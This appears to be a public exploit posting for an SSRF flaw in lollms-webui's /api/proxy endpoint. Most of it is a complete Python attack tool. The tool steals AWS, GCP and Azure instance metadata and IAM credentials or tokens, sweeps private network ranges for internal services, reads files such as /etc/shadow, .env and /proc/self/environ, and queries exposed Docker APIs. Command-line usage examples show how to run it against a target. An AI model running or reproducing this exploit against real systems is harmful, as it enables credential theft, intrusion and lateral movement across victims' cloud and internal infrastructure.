Share
## https://sploitus.com/exploit?id=PACKETSTORM:219789
==================================================================================================================================
| # Title : lollms-webui SSRF for Cloud Metadata Leakage and Internal Network Pivoting |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://lollms.com/ |
==================================================================================================================================
[+] Summary : This code is an advanced SSRF designed to simulate the security impact of a vulnerable web application endpoint.
Vulnerability testing of a target SSRF endpoint (/api/proxy)
[+] POC :
#!/usr/bin/env python3
import requests
import json
import argparse
import sys
import time
import socket
import ipaddress
import base64
from urllib.parse import urlparse, urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import List, Dict, Optional, Tuple
import logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)
CLOUD_METADATA = {
"aws_imdsv1": {
"url": "http://169.254.169.254/latest/meta-data/",
"description": "AWS Instance Metadata Service v1",
"critical_paths": [
"iam/security-credentials/",
"local-ipv4",
"public-ipv4",
"instance-id",
"instance-type",
"ami-id",
"hostname",
"placement/availability-zone",
"security-groups",
"mac",
"network/interfaces/macs/"
]
},
"aws_imdsv2": {
"url": "http://169.254.169.254/latest/api/token",
"description": "AWS IMDSv2 (requires token)",
"method": "PUT",
"headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
},
"gcp": {
"url": "http://metadata.google.internal/computeMetadata/v1/",
"headers": {"Metadata-Flavor": "Google"},
"critical_paths": [
"instance/service-accounts/default/token",
"instance/service-accounts/default/email",
"instance/id",
"instance/name",
"instance/zone",
"project/project-id",
"instance/attributes/ssh-keys"
]
},
"azure": {
"url": "http://169.254.169.254/metadata/instance",
"params": {"api-version": "2021-02-01", "format": "json"},
"headers": {"Metadata": "true"},
"critical_paths": [
"compute/name",
"compute/vmId",
"compute/subscriptionId",
"compute/resourceGroupName",
"compute/location",
"network/interface/0/ipv4/ipAddress"
]
},
"digitalocean": {
"url": "http://169.254.169.254/metadata/v1.json",
"critical_paths": [
"droplet_id",
"hostname",
"region",
"public_ipv4",
"private_ipv4"
]
},
"vultr": {
"url": "http://169.254.169.254/v1.json",
"critical_paths": [
"instanceid",
"region",
"interfaces/0/ipv4/address"
]
},
"openstack": {
"url": "http://169.254.169.254/openstack/latest/meta_data.json",
"critical_paths": [
"uuid",
"name",
"availability_zone",
"project_id"
]
}
}
INTERNAL_SERVICES = {
"redis": {"port": 6379, "probe": "PING\r\n", "response": "+PONG"},
"elasticsearch": {"port": 9200, "probe": "/", "response": "cluster_name"},
"mysql": {"port": 3306, "probe": None, "tcp": True},
"postgresql": {"port": 5432, "probe": None, "tcp": True},
"mongodb": {"port": 27017, "probe": None, "tcp": True},
"docker_api": {"port": 2375, "probe": "/version", "response": "ApiVersion"},
"docker_api_tls": {"port": 2376, "probe": "/version", "response": "ApiVersion"},
"kubernetes_api": {"port": 6443, "probe": "/api/v1/namespaces/default/pods", "response": "kind"},
"jenkins": {"port": 8080, "probe": "/api/json", "response": "jobs"},
"grafana": {"port": 3000, "probe": "/api/health", "response": "ok"},
"prometheus": {"port": 9090, "probe": "/api/v1/status/config", "response": "yaml"},
"kibana": {"port": 5601, "probe": "/api/status", "response": "version"},
"spark_master": {"port": 8080, "probe": "/json", "response": "workers"},
"hadoop_namenode": {"port": 9870, "probe": "/jmx?qry=Hadoop:*", "response": "NameNode"},
"consul": {"port": 8500, "probe": "/v1/agent/self", "response": "Config"},
"etcd": {"port": 2379, "probe": "/version", "response": "etcdversion"},
"cassandra": {"port": 9042, "probe": None, "tcp": True},
"rabbitmq": {"port": 15672, "probe": "/api/overview", "response": "rabbitmq"},
"nginx_status": {"port": 80, "probe": "/nginx_status", "response": "Active connections"},
"php_fpm_status": {"port": 9000, "probe": "/status", "response": "pool"},
}
LOCAL_NETWORKS = [
"127.0.0.0/8",
"10.0.0.0/8",
"172.16.0.0/12",
"192.168.0.0/16",
"169.254.0.0/16",
]
class LollmsSSRFExploit:
"""Main exploit class for CVE-2026-33340"""
def __init__(self, target_url: str, timeout: int = 10, verbose: bool = False):
"""
Initialize exploit
Args:
target_url: Target lollms-webui URL (e.g., http://target:9600)
timeout: Request timeout in seconds
verbose: Enable verbose output
"""
self.target_url = target_url.rstrip('/')
self.proxy_endpoint = f"{self.target_url}/api/proxy"
self.timeout = timeout
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Content-Type': 'application/json'
})
self.discovered_data = {}
def _make_request(self, url: str) -> Optional[Dict]:
"""
Make SSRF request to internal target
Args:
url: Target URL to fetch
Returns:
Response dict or None on failure
"""
payload = {"url": url}
try:
if self.verbose:
logger.debug(f"[*] SSRF Request: {url}")
response = self.session.post(
self.proxy_endpoint,
json=payload,
timeout=self.timeout
)
if response.status_code == 200:
result = response.json()
return result
else:
if self.verbose:
logger.debug(f"[-] HTTP {response.status_code}: {response.text[:100]}")
return None
except requests.exceptions.Timeout:
logger.debug(f"[!] Timeout: {url}")
return None
except requests.exceptions.ConnectionError as e:
logger.debug(f"[!] Connection error: {e}")
return None
except json.JSONDecodeError:
logger.debug(f"[!] Invalid JSON response")
return None
except Exception as e:
logger.debug(f"[!] Error: {e}")
return None
def test_vulnerability(self) -> bool:
"""
Test if the target is vulnerable to SSRF
Returns:
True if vulnerable, False otherwise
"""
logger.info("[*] Testing vulnerability...")
test_url = "http://localhost:9600/api/info"
result = self._make_request(test_url)
if result and "content" in result:
logger.info("[+] Target appears VULNERABLE!")
return True
else:
logger.warning("[-] Target may not be vulnerable")
return False
def steal_aws_metadata(self) -> Dict:
"""Steal AWS EC2 metadata"""
logger.info("[*] Attempting to steal AWS metadata...")
data = {}
for path in CLOUD_METADATA["aws_imdsv1"]["critical_paths"]:
url = urljoin(CLOUD_METADATA["aws_imdsv1"]["url"], path)
result = self._make_request(url)
if result and result.get("content"):
data[path] = result["content"].strip()
logger.info(f"[+] AWS {path}: {result['content'][:100]}")
if "security-credentials" in path and result["content"].strip():
role = result["content"].strip()
creds_url = f"{CLOUD_METADATA['aws_imdsv1']['url']}iam/security-credentials/{role}"
creds_result = self._make_request(creds_url)
if creds_result:
try:
creds = json.loads(creds_result["content"])
data["credentials"] = creds
logger.warning(f"[!!!] AWS IAM CREDENTIALS STOLEN: {creds.get('AccessKeyId')}")
except:
data["credentials_raw"] = creds_result["content"]
return data
def steal_gcp_metadata(self) -> Dict:
"""Steal GCP metadata"""
logger.info("[*] Attempting to steal GCP metadata...")
data = {}
base_url = CLOUD_METADATA["gcp"]["url"]
headers = CLOUD_METADATA["gcp"]["headers"]
self.session.headers.update(headers)
for path in CLOUD_METADATA["gcp"]["critical_paths"]:
url = urljoin(base_url, path)
result = self._make_request(url)
if result and result.get("content"):
data[path] = result["content"].strip()
logger.info(f"[+] GCP {path}: {result['content'][:100]}")
if "token" in path:
try:
token_data = json.loads(result["content"])
data["access_token"] = token_data.get("access_token")
logger.warning(f"[!!!] GCP ACCESS TOKEN STOLEN: {data['access_token'][:50]}...")
except:
pass
self.session.headers.pop("Metadata-Flavor", None)
return data
def steal_azure_metadata(self) -> Dict:
"""Steal Azure instance metadata"""
logger.info("[*] Attempting to steal Azure metadata...")
data = {}
url = CLOUD_METADATA["azure"]["url"]
params = CLOUD_METADATA["azure"]["params"]
headers = CLOUD_METADATA["azure"]["headers"]
self.session.headers.update(headers)
result = self._make_request(f"{url}?{requests.compat.urlencode(params)}")
if result and result.get("content"):
try:
metadata = json.loads(result["content"])
data["metadata"] = metadata
compute = metadata.get("compute", {})
for key in ["name", "vmId", "subscriptionId", "resourceGroupName", "location"]:
if key in compute:
logger.info(f"[+] Azure {key}: {compute[key]}")
data[key] = compute[key]
network = metadata.get("network", {})
interface = network.get("interface", [{}])[0]
ipv4 = interface.get("ipv4", {})
ip_addresses = ipv4.get("ipAddress", [])
for ip in ip_addresses:
if ip.get("privateIpAddress"):
logger.info(f"[+] Azure private IP: {ip['privateIpAddress']}")
data["private_ip"] = ip["privateIpAddress"]
except json.JSONDecodeError:
data["raw"] = result["content"]
self.session.headers.pop("Metadata", None)
return data
def steal_all_cloud_metadata(self) -> Dict:
"""Attempt to steal metadata from all cloud providers"""
all_data = {}
aws_data = self.steal_aws_metadata()
if aws_data:
all_data["aws"] = aws_data
gcp_data = self.steal_gcp_metadata()
if gcp_data:
all_data["gcp"] = gcp_data
azure_data = self.steal_azure_metadata()
if azure_data:
all_data["azure"] = azure_data
for provider, config in CLOUD_METADATA.items():
if provider not in ["aws_imdsv1", "aws_imdsv2", "gcp", "azure"]:
url = config["url"]
result = self._make_request(url)
if result and result.get("content"):
all_data[provider] = result["content"]
logger.info(f"[+] {provider.upper()} metadata found!")
return all_data
def probe_port(self, ip: str, port: int, service_name: str) -> bool:
"""
Probe a specific port for service
Args:
ip: Target IP address
port: Target port
service_name: Name of service to check
Returns:
True if service detected
"""
service = INTERNAL_SERVICES.get(service_name, {})
if service.get("tcp"):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
result = sock.connect_ex((ip, port))
sock.close()
return result == 0
except:
return False
else:
probe_path = service.get("probe", "/")
url = f"http://{ip}:{port}{probe_path}"
response = self._make_request(url)
if response and response.get("content"):
expected = service.get("response", "")
if expected.lower() in response["content"].lower():
return True
return False
def scan_network(self, network_cidr: str, ports: List[int] = None) -> List[Dict]:
"""
Scan internal network for services
Args:
network_cidr: Network to scan (e.g., "192.168.1.0/24")
ports: List of ports to scan (default: all service ports)
Returns:
List of discovered services
"""
if ports is None:
ports = list(set([s["port"] for s in INTERNAL_SERVICES.values()]))
discovered = []
network = ipaddress.ip_network(network_cidr, strict=False)
logger.info(f"[*] Scanning network: {network_cidr}")
for ip in network.hosts():
ip_str = str(ip)
for port in ports:
for service_name, service in INTERNAL_SERVICES.items():
if service["port"] == port:
if self.probe_port(ip_str, port, service_name):
discovered.append({
"ip": ip_str,
"port": port,
"service": service_name
})
logger.info(f"[+] Found {service_name} at {ip_str}:{port}")
return discovered
def scan_local_networks(self) -> List[Dict]:
"""Scan all local network ranges"""
all_discovered = []
for network in LOCAL_NETWORKS:
try:
discovered = self.scan_network(network)
all_discovered.extend(discovered)
except Exception as e:
logger.debug(f"[-] Failed to scan {network}: {e}")
return all_discovered
def read_local_file(self, filepath: str) -> Optional[str]:
"""
Read local file via SSRF (using file:// protocol)
Args:
filepath: Path to file on server
Returns:
File contents or None
"""
urls = [
f"file://{filepath}",
f"http://localhost:9600/{filepath}",
f"http://127.0.0.1/{filepath}",
]
for url in urls:
result = self._make_request(url)
if result and result.get("content"):
logger.info(f"[+] Read file: {filepath}")
return result["content"]
return None
def interact_with_redis(self, redis_host: str = "localhost", redis_port: int = 6379, command: str = "INFO") -> Optional[str]:
"""
Interact with Redis via SSRF
Args:
redis_host: Redis host
redis_port: Redis port
command: Redis command to execute
Returns:
Redis response or None
"""
parts = command.split()
resp = f"*{len(parts)}\r\n"
for part in parts:
resp += f"${len(part)}\r\n{part}\r\n"
url = f"http://{redis_host}:{redis_port}/"
result = self._make_request(url)
if not result:
logger.warning("[-] Redis direct access may require additional headers")
return result.get("content") if result else None
def access_docker_api(self, docker_host: str = "localhost", docker_port: int = 2375) -> Dict:
"""
Access Docker API via SSRF
Args:
docker_host: Docker host
docker_port: Docker port
Returns:
Docker API response
"""
endpoints = [
"/version",
"/containers/json?all=true",
"/images/json",
"/info",
"/_ping"
]
results = {}
for endpoint in endpoints:
url = f"http://{docker_host}:{docker_port}{endpoint}"
result = self._make_request(url)
if result and result.get("content"):
results[endpoint] = result["content"]
logger.info(f"[+] Docker API {endpoint}: {result['content'][:100]}")
if endpoint == "/containers/json" and result["content"]:
try:
containers = json.loads(result["content"])
for container in containers:
logger.warning(f"[!!!] Container found: {container.get('Names', ['unknown'])[0]}")
except:
pass
return results
def full_exploit(self, scan_network: bool = True, steal_cloud: bool = True) -> Dict:
"""
Execute full exploit chain
Args:
scan_network: Enable internal network scanning
steal_cloud: Enable cloud metadata theft
Returns:
Dictionary with all discovered data
"""
results = {
"timestamp": time.time(),
"target": self.target_url,
"vulnerable": False,
"cloud_metadata": {},
"internal_services": [],
"local_files": {},
"docker_api": {}
}
results["vulnerable"] = self.test_vulnerability()
if not results["vulnerable"]:
logger.error("[-] Target not vulnerable!")
return results
if steal_cloud:
logger.info("\n[*] PHASE 1: Cloud Metadata Theft")
results["cloud_metadata"] = self.steal_all_cloud_metadata()
if scan_network:
logger.info("\n[*] PHASE 2: Internal Network Scanning")
results["internal_services"] = self.scan_local_networks()
for service in results["internal_services"]:
if service["service"] == "docker_api":
logger.info(f"[*] Exploiting Docker API at {service['ip']}:{service['port']}")
results["docker_api"] = self.access_docker_api(service["ip"], service["port"])
elif service["service"] == "redis":
logger.info(f"[*] Attempting Redis interaction")
redis_data = self.interact_with_redis(service["ip"], service["port"])
if redis_data:
results[f"redis_{service['ip']}"] = redis_data
logger.info("\n[*] PHASE 3: Local File Reading")
sensitive_files = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/proc/self/environ",
"/proc/self/cmdline",
"/var/log/auth.log",
"/root/.bash_history",
"/home/*/.bash_history",
".env",
"config.json",
"config.yaml",
"settings.py",
"secrets.py"
]
for filepath in sensitive_files:
content = self.read_local_file(filepath)
if content:
results["local_files"][filepath] = content[:5000]
return results
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-33340 - lollms-webui SSRF to Cloud Metadata & Internal Network Pivot',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python exploit.py -t http://target:9600 --test
python exploit.py -t http://target:9600 --cloud
python exploit.py -t http://target:9600 --scan
python exploit.py -t http://target:9600 --full
python exploit.py -t http://target:9600 --read-file /etc/passwd
python exploit.py -t http://target:9600 --docker
python exploit.py -t http://target:9600 --full --output results.json
"""
)
parser.add_argument('-t', '--target', required=True, help='Target lollms-webui URL (e.g., http://target:9600)')
parser.add_argument('--test', action='store_true', help='Test if endpoint is vulnerable')
parser.add_argument('--cloud', action='store_true', help='Steal cloud metadata (AWS/GCP/Azure)')
parser.add_argument('--scan', action='store_true', help='Scan internal network for services')
parser.add_argument('--full', action='store_true', help='Execute full exploit chain')
parser.add_argument('--read-file', metavar='FILE', help='Read local file from server')
parser.add_argument('--docker', action='store_true', help='Attempt Docker API access')
parser.add_argument('--output', '-o', help='Output file for results (JSON)')
parser.add_argument('--timeout', type=int, default=10, help='Request timeout (default: 10)')
parser.add_argument('--verbose', '-v', action='store_true', help='Verbose output')
args = parser.parse_args()
print("""
========================================
CVE-2026-33340 - lollms-webui SSRF
Cloud Metadata Theft & Internal Pivot
========================================
""")
exploit = LollmsSSRFExploit(args.target, args.timeout, args.verbose)
results = {}
if args.test:
is_vuln = exploit.test_vulnerability()
results["vulnerable"] = is_vuln
if is_vuln:
print("\n[!!!] TARGET IS VULNERABLE!")
if args.read_file:
content = exploit.read_local_file(args.read_file)
if content:
print(f"\n[+] File content:\n{content}")
results["file_content"] = content
if args.cloud:
metadata = exploit.steal_all_cloud_metadata()
results["cloud_metadata"] = metadata
if metadata:
print("\n[!!!] CLOUD METADATA STOLEN!")
for provider, data in metadata.items():
print(f"\n[{provider.upper()}]")
print(json.dumps(data, indent=2))
if args.scan:
services = exploit.scan_local_networks()
results["internal_services"] = services
if services:
print("\n[+] INTERNAL SERVICES DISCOVERED:")
for service in services:
print(f" {service['service']} at {service['ip']}:{service['port']}")
if args.docker:
docker_data = exploit.access_docker_api()
results["docker_api"] = docker_data
if docker_data:
print("\n[!!!] DOCKER API ACCESSED!")
for endpoint, data in docker_data.items():
print(f"\n[{endpoint}]: {data[:200]}")
if args.full:
print("\n[*] Executing full exploit chain...")
results = exploit.full_exploit(scan_network=True, steal_cloud=True)
print("\n" + "="*60)
print("EXPLOIT RESULTS")
print("="*60)
if results.get("cloud_metadata"):
print(f"\n[+] Cloud Metadata: {len(results['cloud_metadata'])} providers")
if results.get("internal_services"):
print(f"[+] Internal Services: {len(results['internal_services'])} found")
for svc in results["internal_services"]:
print(f" - {svc['service']} at {svc['ip']}:{svc['port']}")
if results.get("local_files"):
print(f"[+] Local Files: {len(results['local_files'])} read")
for f in results["local_files"].keys():
print(f" - {f}")
if results.get("docker_api"):
print(f"[+] Docker API: {len(results['docker_api'])} endpoints")
if args.output:
with open(args.output, 'w') as f:
json.dump(results, f, indent=2, default=str)
print(f"\n[+] Results saved to {args.output}")
if results:
print("\n[+] Exploit completed!")
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================